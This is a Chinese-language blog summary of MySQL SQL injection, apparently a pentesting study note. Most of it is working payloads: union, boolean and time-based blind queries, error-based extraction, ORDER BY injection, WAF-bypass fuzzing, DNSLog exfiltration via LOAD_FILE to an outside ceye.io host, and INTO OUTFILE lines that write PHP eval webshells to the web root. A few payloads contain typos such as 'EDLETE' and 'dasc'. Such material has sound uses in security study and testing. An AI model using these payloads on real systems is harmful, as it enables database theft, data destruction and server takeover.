SQL注入总结
John_Frod Lv4

SQL注入总结

SQL注入是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术。

原理

首先来看一下基本的SQL语句查询原码:

1
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"

这里的 $id 参数是我们提交的变量,如果我们对这个参数没有做检查或者没有十分严格的过滤时,就可能存在SQL注入的漏洞。

比如

1
id = 1' and '1' = '1

这时候带入到原码中的内容就是

1
SELECT * FROM users WHERE id='1' and '1' = '1 LIMIT 0,1

通过对$id的构造,数据库能输出攻击者想要获取的内容,从而导致了数据库内容的泄露。

数据库基础

在开始进行注入测试时,需要掌握数据库基本的语法,以及一些注入过程中常用的函数

系统函数

**system_user()**——系统用户名

**user()**——用户名

**current_user()**——当前用户名

**session_user()**——链接数据库的用户名

**database()**——数据库名

**version()**——数据库版本

@@datadir——数据库路径

@@basedir——数据库安装路径

@@version_conpile_os——操作系统

字符串连接函数

**concat(str1,str2,…)**——没有分隔符地连接字符串

**concat_ws(separator,str1,str2,…)**——含有分隔符地连接字符串

**group_concat(str1,str2,…)**——连接一个组的所有字符串,并以逗号分隔每一条数据。

mysql注释符

构造注入语句需要注释符来把查询语句后面的语句给屏蔽掉,mysql常用的注释符为:

  • #

  • --

union 操作符的介绍

联合查询是可合并多个相似的选择查询的结果集。union 前后的两个 sql 语句的选择列数要相同才可以。U等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNION ALL。将多个查询的结果合并到一起(纵向合并):字段数不变,多个查询的记录数合并。

基本语法:

1
SELECT 语句 UNION[union选项] SELECT 语句;
union选项 描述
Distinct 去重,去掉完全重复的数据(默认的)
All 保存所有的结果

order by介绍

在mysql中order by是用来根据校对规则对数据进行排序

基本语法:

1
order by 字段 [asc|desc];     //asc升序,默认的

并且order by还可以多字段排序,先按照第一个字段进行排序,然后再按照第二个字段进行排序。

因此在sql注入中可以通过order by来判断表中有多少字段,并且并不需要知道字段的名字是什么,通过数字1、2、3等也可以排序,因为在mysql中字段的名字也可以用过1、2、3等来表示。

字符串编码

在注入脚本中经常需要字符串与数字之间的相互转换。

  • ASCII():返回字符的 ASCII 码值
  • CHAR():把整数转换为对应的字符

数据库结构

img

mysql数据库中存在一个名为 information_schema 的基本库,里面存放了所有的库的基本信息,SQL注入的流程基本就是不断地构造语句查询information_schema 库中的信息。

导入导出相关操作

  • load_file()导出文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串

使用条件:

  1. 必须有权限读取并且文件必须完全可读
1
2
3
and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。 

and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权
  1. 欲读取文件必须在服务器上
  2. 必须指定文件完整的路径
  3. 欲读取文件必须小于 max_allowed_packet

如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users 就别想 load_file 出来。

在实际的注入中,我们有两个难点需要解决:

  1. 绝对物理路径

  2. 构造有效的畸形语句 (报错爆出绝对路径)

在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁。

example:

1
2
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用
1
2
select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
1
2
select 1,1,1,load_file(0x633a2f626f6f742e696e69)
“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
1
2
select 1,1,1,load_file(c:\\boot.ini)
路径里的/用 \\代替
  • 文件导入到数据库

LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必 须为一个文字字符串。

在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据 库的权限时,可以将系统文件利用 load data infile 导入到数据库中。

example:

1
load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是 每一项数据之间的分隔符,lines terminated by 是行的结尾符。

当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑 /tmp 等文件夹。

  • 导入到文件
1
SELECT.....INTO OUTFILE 'file_name'

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。

我们一般有两种利用形式:

  1. 直接将 select 内容导入到文件中
1
Select version() into outfile “c:\\phpnow\\htdocs\\test.php”

此处将 version()替换成一句话,也即

1
Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”

直接连接一句话就可以了,其实在 select 内容中不仅仅是可以上传一句话的,也可以上传很 多的内容。

  1. 修改文件结尾
1
Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 进制文件

解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS TERMINATED BY 16 进制可以为一句话或者其他任何的代码,可自行构造。

  • TIPS
  1. 可能在文件路径当中要注意转义,这个要看具体的环境
  2. 上述我们提到了 load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语 句:
1
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’

可以利用该语句将服务器当中的内容导入到 web 服务器下的目录,这样就可以得到数据了。 上述 my.ini 当中存在 password 项(不过默认被注释),当然会有很多的内容可以被导出来, 这个要平时积累。

增删改函数

在对数据进行处理上,我们经常用到的是增删查改。接下来我们讲解一下 mysql 的增删改。 查就是我们上述总用到的 select,这里就不介绍了。

  • 增加 insert

增加一行数据,example:

1
insert into users values ('16','lcamry','lcamry');
  • 删除
    • 删除数据
      • delete from 表名;
      • delete from 表名 where id=1;
    • 删除结构
      • 删数据库:drop database 数据库名;
      • 删除表:drop table 表名;
      • 删除表中的列:alter table 表名 drop column 列名;
  • 修改
    • 修改所有:update 表名 set 列名=’新的值,非数字加单引号’
    • 带条件的修改:updata 表名 set 列名=’新的值,非数字加单引号’ where id=6;

example:

1
update users set username='tt' where id=15

判断是否存在SQL注入

寻找SQL注入漏洞有一种很简单的方法,就是通过发送特殊的数据来触发异常。

首先我们需要了解数据是通过什么方式进行输入,这里我总结了三个: GET请求:该请求在URL中发送参数。 POST请求:数据被包含在请求体中。 其他注入型数据:HTTP请求的其他内容也可能会触发SQL注入漏洞。

然后我们需要判断数据是什么类型,在mysql中,通常的2中数据类型是数字型和字符型。

字符型

1
2
3
4
5
?id=1' and '1' = '1 --+		//正常
?id=1' and '1' = '2 --+ //报错
或者
?id=1" and "1" = "1 --+ //正常
?id=1" and "1" = "2 --+ //报错

数字型

1
2
3
4
5
?id=1 and 1 = 1 --+		//正常
?id=1 and 1 = 2 --+ //报错
或者
?id=1 and 1 like 1 --+ //正常
?id=1 and 1 like 2 --+ //报错

回显注入(联合注入)

回显的意思是,数据库会返回我们查询语句结果的具体内容,回显注入最基本的注入方式。

联合注入使用union,union 的作用是将两个 sql 语句进行联合。当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)

查询字段数目

查询字段数目主要利用MySQL里面的 order by 来判断字段数目,order by一般采用数学中的二分法来进行判断具体的字段数目,这样效率会很高,下面假设用 order by 来判断一个未知字段的注入。

1
2
3
4
5
?id=1’ order by 1 –+ 此时页面正常,继续换更大的数字测试
?id=1’ order by 10 –+ 此时页面返回错误,更换小的数字测试
?id=1’ order by 5 –+ 此时页面依然报错,继续缩小数值测试
?id=1’ order by 3 –+ 此时页面返回正常,更换大的数字测试
?id=1’ order by 4 –+ 此时页面返回错误,3正常,4错误,说明字段数目就是 3

查询库名

1
id=-1' UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+

查询表名

1
2
3
id=-1' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
或者
id=-1' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+

查询字段名

1
id=-1' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' --+

查询字段值

1
id=-1' UNION SELECT 1,2,group_concat(字段名,字段名...) from 库名.表名 --+

获取WebShell

利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。

1
SELECT "<?php eval(@$_POST['a']); ?>" INTO outfile "绝对路径"

盲注

有时候会存在开发者将mysql的信息屏蔽,攻击者无法正常得到正常的mysql的回显,只回显正确或者错误两种提示。这个时候就需要用到盲注的技巧。

主要的盲注技巧有两种:布尔盲注以及时间盲注。

Sql注入截取字符串常用函数

在sql注入中,往往会用到截取字符串的问题,例如不回显的情况下进行的注入,也成为盲注,这种情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串。

  • mid(s,n,len)

从字符串 s 的 n 位置截取长度为 len 的子字符串

  • substr(s, start, length)/substring(s, start, length)

从字符串 s 的 start 位置截取长度为 length 的子字符串

  • left(s,n)

返回字符串 s 的前 n 个字符

  • ascii(s)/ord(s)

返回字符串 s 的第一个字符的 ASCII 码。这里不考虑多字节字符,比如汉字

字符 ASCII码-10进制 字符 ASCII码-10进制
a 97 ==> z 122
A 65 ==> Z 90
0 48 ==> 9 57
_ 95 @ 64

该表是常见字符的ascii码,可见范围是[48,122]

  • if(条件,为真结果,为假结果)

用在select查询当中,当做一种条件来进行判断

REGEXP正则表达式

下表中的正则模式可应用于 REGEXP 操作符中。

模式 模式
^ 匹配输入字符串的开始位置。
$ 匹配输入字符串的结束位置。
. 匹配除 “\n” 之外的任何单个字符。
[…] 字符集合。匹配所包含的任意一个字符。
[^…] 负值字符集合。匹配未包含的任意字符。
p1|p2|p3 匹配 p1 或 p2 或 p3。
* 匹配前面的子表达式零次或多次。
+ 匹配前面的子表达式一次或多次。
{n} n 是一个非负整数。匹配确定的 n 次。
{n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。

example:

1
2
3
4
5
#查找name字段中以'st'为开头的所有数据:
SELECT name FROM person_tbl WHERE name REGEXP '^st';

查找name字段中以元音字符开头或以'ok'字符串结尾的所有数据:
SELECT name FROM person_tbl WHERE name REGEXP '^[aeiou]|ok$';

LIKE 匹配

LIKE 操作符用于在 WHERE 子句中搜索列中的指定模式。

在 SQL 中,可使用以下通配符:

通配符 描述
% 替代 0 个或多个字符
_ 替代一个字符
[charlist] 字符列中的任何单一字符
[^charlist]或[!charlist] 不在字符列中的任何单一字符

example:

1
2
3
4
5
选取 url 以字母 "https" 开始的所有网站:
SELECT * FROM Websites WHERE url LIKE 'https%';

选取 name 以 "G" 开始,然后是一个任意字符,然后是 "o",然后是一个任意字符,然后是 "le" 的所有网站:
SELECT * FROM Websites WHERE name LIKE 'G_o_le';

布尔盲注

布尔盲注就是可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。

example:

1
2
3
4
5
?id=1' AND ASCII(SUBSTR(database(),1,1))>88#	
判断当前数据库名字的第一个字符的ascii码是否大于88

?id=1 AND 1=(IF((user() REGEXP '^r'),1,0))#
正则匹配user表中的所有数据,是否存在以r开头的数据,有则返回1,无则返回0,再与前面的1=相比较,如果是返回1则不会报错,否则报错

布尔盲注的流程

  1. 猜测数据库的名称

判断数据库名称的长度==》判断数据库名字

  1. 猜测数据库的表名

猜测表的个数==》猜解表名的长度==》猜测表名

  1. 猜解表中的字段名

猜解users表中字段个数==》猜解users表中字段的长度==》猜解users表中字段的名字

  1. 猜解表中的字段值

猜解users表中有多少条数据==》猜解users表中字段值的长度==》猜解users表中字段值

时间盲注

时间的盲注就是通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用**sleep()**函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

example:

1
2
如果当前数据库名字的长度大于10的话,就沉睡5秒再输出,否则就就直接输出
?id=1' AND IF(LENGTH(database())>10,SLEEP(5),null)#

还有一种是使用 **benchmark(count,expr)**函数,用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu 资源。推荐使用sleep()函数进行注入。

example:

1
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;

DNSLog盲注

通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。先show variables like '%secure%';查看load_file()可以读取的磁盘。

1
2
3
4
5
6
7
8
9
mysql> show variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | NULL |
+--------------------------+-------+
3 rows in set, 1 warning (0.01 sec)
  • 当secure_file_priv为空,就可以读取磁盘的目录。

  • 当secure_file_priv为G:\,就可以读取G盘的文件。

  • 当secure_file_priv为null,load_file就不能加载文件。

这里为NULL,因此需要在my.ini配置文件中修改权限,把配置文件中的这一行改为(没有就加上):

1
secure_file_priv=""

UNC路径

以下是百度的UNC路径的解释

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式\\sss.xxx\test\

这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径。

因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据

payload:

1
SELECT LOAD_FILE(CONCAT('\\\\',(查询语句),'.t6n089.ceye.io\\abc'));

example:

在本地搭建了一个SQL注入的环境,在XP系统上似乎不行,原因未知,而在WIN10能够成功执行。

1
http://127.0.0.1:81/db.php?id=' and (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.t6n089.ceye.io\\abc')))--+

image-20210317150746330

堆叠注入

Stacked injections(堆叠注入)指的是多条SQL注入语句一起使用,可以做到联合查询等无法做到的事情,例如删添改查其他数据表等等。

example:

1
2
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
?id=1';EDLETE FROM products

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎 不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

虽然我们前面提到了堆叠查询可以执行任意的 sql 语句,但是这种注入方式并不是十分 的完美的。在我们的 web 系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。 因此,在读取数据时,我们建议使用 union(联合)注入。同时在使用堆叠注入之前, 我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

报错注入

SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。

MYSQL报错注入个人认为大体可以分为以下几类:

  1. BIGINT等数据类型溢出
  2. xpath语法错误
  3. concat+rand()+group_by()导致主键重复
  4. 一些特性

数据溢出

这里可以看到mysql是怎么处理整形的:Integer Types (Exact Value),如下表:

Type Storage Minimum Value Maximum Value
(Bytes) (Signed/Unsigned) (Signed/Unsigned)
TINYINT 1 -128 127
0 255
SMALLINT 2 -32768 32767
0 65535
MEDIUMINT 3 -8388608 8388607
0 16777215
INT 4 -2147483648 2147483647
0 4294967295
BIGINT 8 -9223372036854775808 9223372036854775807
0 18446744073709551615

在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况:

1
2
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'

在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算运算即可:

1
2
3
4
5
6
7
8
9
10
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'

我们知道,如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select (select * from (select user())x);
+----------------------------------+
| (select * from (select user())x) |
+----------------------------------+
| root@localhost |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select !(select * from (select user())x);
+-----------------------------------+
| !(select * from (select user())x) |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.01 sec)

mysql> select !(select * from (select user())x)+1;
+-------------------------------------+
| !(select * from (select user())x)+1 |
+-------------------------------------+
| 2 |
+-------------------------------------+
1 row in set (0.00 sec)

同理,利用exp函数也会产生类似的溢出错误:

1
2
3
4
5
6
7
8
9
10
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

注入姿势:

1
2
mysql> select exp(~(select * from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

利用这一特性,再结合之前说的溢出报错,就可以进行注入了。这里需要说一下,经笔者测试,发现在mysql5.5.47可以在报错中返回查询结果:

1
2
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'

而在mysql>5.5.53时,则不能返回查询结果

1
2
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(`a`.`x`)) - ~(0))'

此外,报错信息是有长度限制的,在mysql/my_error.c中可以看到:

1
2
3
4
/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */

#define ERRMSGSIZE (512)

xpath语法错误

从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:

1
2
3
4
5
6
7
mysql> select extractvalue(1,'/a/b');
+------------------------+
| extractvalue(1,'/a/b') |
+------------------------+
| |
+------------------------+
1 row in set (0.01 sec)

它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:

1
2
3
4
mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'

主键重复

这里利用到了count()和group by在遇到rand()产生的重复值时报错的思路。网上比较常见的payload是这样的:

1
2
mysql> select count(*) from test group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'

可以看到错误类型是duplicate entry,即主键重复。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关:

1
2
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。这里最关键的及时要理解group by函数的工作过程。group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)

如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

举个例子,表中数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
mysql> select * from test;
+------+-------+
| id | name |
+------+-------+
| 0 | jack |
| 1 | jack |
| 2 | tom |
| 3 | candy |
| 4 | tommy |
| 5 | jerry |
+------+-------+
6 rows in set (0.00 sec)

我们以select count(*) from test group by name语句说明大致过程如下:

  • 先是建立虚拟表,其中key为主键,不可重复:
key count(*)
  • 开始查询数据,去数据库数据,然后查看虚拟表是否存在,不存在则插入新记录,存在则count(*)字段直接加1:
key count(*)
jack 1
key count(*)
jack 1+1
key count(*)
jack 1+1
tom 1
key count(*)
jack 1+1
tom 1
candy 1

当这个操作遇到rand(0)*2时,就会发生错误,其原因在于rand(0)是个稳定的序列,我们计算两次rand(0):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mysql> select rand(0) from test;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
+---------------------+
6 rows in set (0.00 sec)

mysql> select rand(0) from test;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
+---------------------+
6 rows in set (0.00 sec)

同理,floor(rand(0)*2)则会固定得到011011…的序列(这个很重要):

1
2
3
4
5
6
7
8
9
10
11
12
mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+------------------+
6 rows in set (0.00 sec)

回到之前的group by语句上,我们将其改为select count(*) from test group by floor(rand(0)*2),看看每一步是什么情况:

  • 先建立空表
key count(*)
  • 取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚表,发现没有该键值,则会再计算一次floor(rand(0)*2),将结果1(第二次计算)插入虚表,如下:
key count(*)
1 1
  • 查第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现键值1存在,所以此时不在计算第二次,直接count(*)值加1,如下:
key count(*)
1 1+1
  • 查第三条记录,再次计算floor(rand(0)*2),发现结果为0(第四次计算),发现键值没有0,则尝试插入记录,此时会又一次计算floor(rand(0)*2),结果1(第5次计算)当作虚表的主键,而此时1这个主键已经存在于虚表中了,所以在插入的时候就会报主键重复的错误了。
  • 最终报错的结果,即主键’1’重复:
1
2
mysql> select count(*) from test group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'

整个查询过程中,floor(rand(0)*2)被计算了5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。

另外,要注意加入随机数种子的问题,如果没加入随机数种子或者加入其他的数,那么floor(rand()*2)产生的序列是不可测的,这样可能会出现正常插入无法报错的情况。最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机数种子有时候会报错,有时候不会报错的原因。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
mysql> select floor(rand(1)*2) from test;
+------------------+
| floor(rand(1)*2) |
+------------------+
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+------------------+
6 rows in set (0.00 sec)

mysql> select count(*) from test group by floor(rand(1)*2);
+----------+
| count(*) |
+----------+
| 3 |
| 3 |
+----------+
2 rows in set (0.00 sec)

一些特性

  • 列名重复

mysql列名重复会报错,我们利用name_const来制造一个列:

1
2
mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.7.17'

根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式。

利用这个特性加上join函数可以爆列名:

1
2
3
4
mysql> select *  from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from(select * from test a join test b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'
  • 几何函数

mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行:

1
2
3
4
5
6
5.5.47
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`version()` from ((select '5.5.47' AS `version()` from dual) `b`))' value found during parsing
5.7.17
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `a`.`version()` from ((select version() AS `version()`) `a`))' value found during parsing

二次注入

一阶注射是指输入的注射语句对WEB 直接产生了影响,出现了结果;二阶注入类似存
储型XSS,是指输入提交的语句,无法直接对WEB 应用程序产生影响,通过其它的辅助间
接的对WEB 产生危害,这样的就被称为是二阶注入。

二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP 数据报文请求到服务
    端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL 语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的
    数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响
    应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库
    中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL 语句或者命令在服
    务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注
    入漏洞利用是否成功。

ORDER BY 注入

order by 注入指的是用户传入的参数插入在查询语句的 order by 后面的位置,不同于常见的 where 后的注入点,order by 不能使用 union 等进行注入。

验证方式

  • 升序和降序验证
1
2
3
4
5
# 升序排序
?sort=1 asc

# 降序排序
?sort=1 dasc
  • rand() 验证

rand(ture) 和 rand(false) 的结果是不一样的

1
2
?sort=rand(true)
?sort=rand(false)

所以利用这个可以轻易构造出一个布尔和延时类型盲注的测试 payload

此外 rand() 结果是一直都是随机的

  • 延时验证
1
2
3
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)

这种方式均可以延时,延时的时间为 (行数*1) 秒

注入方法

  • 报错注入
1
?sort=(select updatexml(1,concat(0x7e,(select @@version),0x7e),1))
  • procedure analyse 参数后注入

利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 orde r by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以 利用 procedure analyse 进行注入。

1
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
  • 布尔盲注
1
2
?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')
  • 时间盲注
1
2
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
  • into outfile
1
?sort=1 into outfile "/var/www/html/less46.txt"

如果导入不成功的话,很可能是因为 Web 目前 MySQL 没有读写权限造成的。

利用导出文件 getshell

使用lines terminated by 姿势用于 order by 的情况来 getsgell:

1
?sort=1 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\shell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();> 的十六进制编码。

image-20210306114842456

常见WAF绕过

常见的绕过姿势有两种。

第一种是替换关键字,这种方式我们可以直接通过双写关键词等方式来进行绕过;

第二种是关键词直接拦截,这种情况下我们可以通过变换函数等方式来进行绕过。

空格过滤

大部分的SQL语句都用到了空格,如果空格被拦截或者过滤,可以尝试以下方法:

  • 使用/**/即SQL语句中的注释语句来绕过。
  • 使用双写URL编码绕过,例如(%20 → %2520)。
  • 通过特殊符号(反引号、加号、括号等等),绕过空格。(在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。)
  • 通过科学计数法绕过:where id=0e1union select 1,2
  • Fuzz所有字符,查找可替代空格的字符例如 %09 %0a %0b %0c %0d
1
2
3
4
5
6
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

这里是fuzz脚本:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
for i in range(256):
url = "http://0.0.0.0:6555/1.php" //这里是fuzz的地址
querystring = {"id": "1%sor%s1=1" % (chr(i), chr(i))}
payload = ""
headers = {
'cache-control': "no-cache",
'Postman-Token': "ad28b8ea-268a-449a-b7cd-f6261250d766"
}
response = requests.request("GET", url, data=payload, headers=headers, params=querystring)
if response.text.find("DSCTF2") != -1:
print(i)

这里列出了数据库中一些常见的可以用来绕过空格过滤的空白字符:

